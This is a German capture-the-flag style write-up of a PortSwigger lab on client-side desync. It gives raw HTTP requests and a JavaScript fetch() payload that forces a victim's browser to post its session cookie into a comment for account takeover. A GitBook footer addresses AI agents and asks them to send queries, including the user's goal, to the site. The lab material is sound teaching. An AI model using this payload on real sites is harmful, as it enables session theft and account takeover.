> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/client-side-desync.md).

# Client-Side Desync

Notizen zu Client-Side Desync für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Client-seitige Desynchronisierung

Dieses Labor ist anfällig für client-seitige Desynchronisierungsangriffe, weil der Server den Content-Length-Header bei einigen Endpunkten ignoriert. Diese Schwachstelle ermöglicht es dem Browser des Opfers, sein Sitzungscookie preiszugeben. / Laborziel:

1. Identifizieren Sie mit Burp einen client-seitigen Desynchronisierungsvektor und prüfen Sie dann, ob er im Browser reproduzierbar ist.
2. Finden Sie ein Anwendungselement, um Text einzufügen oder zu speichern.
3. Kombinieren Sie beides, um den Browser des Opfers dazu zu zwingen, eine Reihe domänenübergreifender Anfragen zu senden, die sein Cookie preisgeben.
4. Verwenden Sie dieses Cookie, um auf das Konto des Opfers zuzugreifen.

#### **Analyse des Serververhaltens**

Durch das Senden einer Anfrage mit einer absichtlich aufgeblähten Content-Length ignoriert der Server diese und behandelt stattdessen den folgenden Inhalt als neue Anfrage:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Test: hallo
```

Diese Reaktion bestätigt das Vorhandensein einer client-seitigen Desynchronisierung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e3c0823a0103700c3793669c3b617bd6365d0e%2F%7B680DF4DB-3164-4652-B772-4EE7A4159F73%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Desync demonstrieren**

Durch das Konfigurieren von zwei Anfragen in Burp (eine simuliert den Client, die andere den Angriff) und das anschließende Senden in Folge wird die Fehlerantwort für den Angreifer an den legitimen Client gesendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a36584fe2a4f7efc4955250526a90c6f215b6c8%2F%7B02490C20-46C7-4361-9D44-91211F7F1356%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcee172ce04646e34d21410bf38a2ab18c0b0b61%2F%7B3D56821C-50D6-4CC1-B2CD-D934A839F9AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de5f430f1d0514647b887923a4b6747dafdd0dbb%2F%7B0C90BDA7-5943-4385-ADB9-BF53652EEC7C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dies zeigt, dass der Server HTTP-Streams desynchronisiert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15894556f3abdddd1fee8910a9cfeb1e01b8a49%2F%7B4AA752E1-91A1-463D-8289-78153B25B313%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exfiltration des Cookies des Opfers**

Um den Browser des Opfers dazu zu zwingen, sein Sitzungscookie preiszugeben, zielen wir auf die Kommentarfunktion ab, mit der man Text in der Anwendung speichern kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f7f63206068b09070acd8ef8e86165d4aaec4e5%2F%7B76A6D773-A77F-41C2-9126-9FCFA9909348%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Senden Sie eine Kommentar-Anfrage mit einer aufgeblähten Content-Length:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

Wenn Sie dieses Feld erhöhen (z. B. auf 500), gibt der veröffentlichte Kommentar dann das Sitzungscookie des angemeldeten Kontos preis.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f859872b3b51b8378ac27cfc035a1ef631b147%2F%7B07C583E5-FBD9-4ABA-803D-27107F523D94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Automatisierung per JavaScript-Skript**

Um den Angriff in einen für das Opfer nutzbaren Exploit umzuwandeln, wird eine eingeschleuste Anfrage eingebettet in ein Skript erstellt:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

Dieses Payload führt dazu, dass der Browser des Opfers die eingeschleuste Anfrage automatisch sendet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13865dd6167695efd19dae35a6fa9b01ecc0983e%2F%7B6AB6D4FD-EB8B-4D03-B89E-463D7285F2A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Das gestohlene Sitzungscookie erscheint dann im Kommentarbereich.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b14c1a6cf408ab123e085423118abc902551ec1b%2F%7B3273F477-97BC-4699-AC82-83FE51CE6613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
